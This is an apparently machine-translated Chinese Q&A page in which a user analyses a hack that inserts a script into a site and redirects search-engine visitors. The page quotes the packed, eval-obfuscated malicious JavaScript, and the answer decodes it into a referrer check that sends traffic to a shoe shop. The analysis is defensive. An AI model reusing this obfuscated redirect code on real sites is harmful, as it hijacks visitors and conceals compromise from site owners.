这个JavaScript破解是如何工作的?

Ses*_*dal 1 javascript redirect

我遇到了一个不属于我的网站的奇怪黑客,我试图通过确定问题的根源来帮助网络管理员.这是诊断:谷歌在网站上标有"此网站可能被黑客攻击"的通知.在关注Google的链接后,您将被重定向到另一个完全不相关的页面.如果我在重定向之前取消页面加载然后查看源html,我看到在文档的最开头插入了一个小的JavaScript代码段,这显然导致了重定向.现在这里有一点奇怪的是:恶意JavaScript仅在从Google或Bing等特定搜索引擎导航到页面时才会出现.如果你直接去页面,没有错,即使我从像DuckDuckGo这样的其他搜索引擎转到这个页面,也没有错.

恶意脚本本身就读了<script type="text/javascript" src="http://www.enternote.fr/superfly.js"></script>.这是src链接的内容:(带有额外的选项卡和换行符,以便更容易查看,希望如此)

eval(
    function(p,a,c,k,e,r){
        e=function(c){
            return c.toString(a)
        };
        if(!''.replace(/^/,String)){
            while(c--) 
                r[e(c)]=k[c]||e(c);
            k=[function(e){return r[e]}];
            e=function(){return'\\w+'};
            c=1
        };
        while(c--)
            if(k[c]) p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
            return p
    }('4 1=5.6;7(1.2("8")>0||1.2("9")>0||1.2("a")>0||1.2("b")>0){d.e.f=\'g://h.i.j/3-k-3-l-m-n-c-o.p\'}',
    26,
    26,
    '|s|indexOf|nike|var|document|referrer|if|google|bing|yahoo|aol||window|location|href|http|www|soccerxp|com|shoes|mercurial|superfly|fg|1_176|html'.split('|'),
    0,
    {})
)
Run Code Online (Sandbox Code Playgroud)

我没有详细分析过这个问题,但从document|referrer|if|google|bing|yahoo|aol||window|location|href...部分看来,这似乎很明显,这是在进行重定向,而且重定向仅针对搜索流量的事实是代表黑客的故意行为.

但是,如果您从搜索引擎导航,我不确定为什么脚本只出现在源html中.我不是黑客专家,但这有点像注入服务器端代码.我能看到的唯一选择是,如果引用者不是它关注的那个,那么脚本会以某种方式设法删除它自己.这可能吗?

所以问题是:这是一个已知的黑客,如果是这样,治愈的是什么?服务器端脚本是否存在一些更深层次的问题,或者这可能是纯粹的JavaScript黑客攻击?

可能相关的信息:该网站使用Network Solutions的Image Cafe功能制作.

Den*_*ret 5

function(p,a,c,k,e,r){是一个脚本打包程序的签名,用于"加密"某些代码并使其不易识别和可读.但这是愚蠢无效的.

只是改变

eval( something )
Run Code Online (Sandbox Code Playgroud)

var script = (something);
Run Code Online (Sandbox Code Playgroud)

你会看到加密代码是什么:

var s=document.referrer;
if(s.indexOf("google")>0||s.indexOf("bing")>0||s.indexOf("yahoo")>0||s.indexOf("aol")>0){
    window.location.href='http://www.soccerxp.com/nike-shoes-nike-mercurial-superfly-fg-c-1_176.html'
}
Run Code Online (Sandbox Code Playgroud)

所以它只是一个脚本将位置更改为http://www.soccerxp....用户来自搜索引擎(由给定referrer).

网站所有者的真正问题是攻击者可能会更改其网站.服务器的安全性受到损害,必须修复.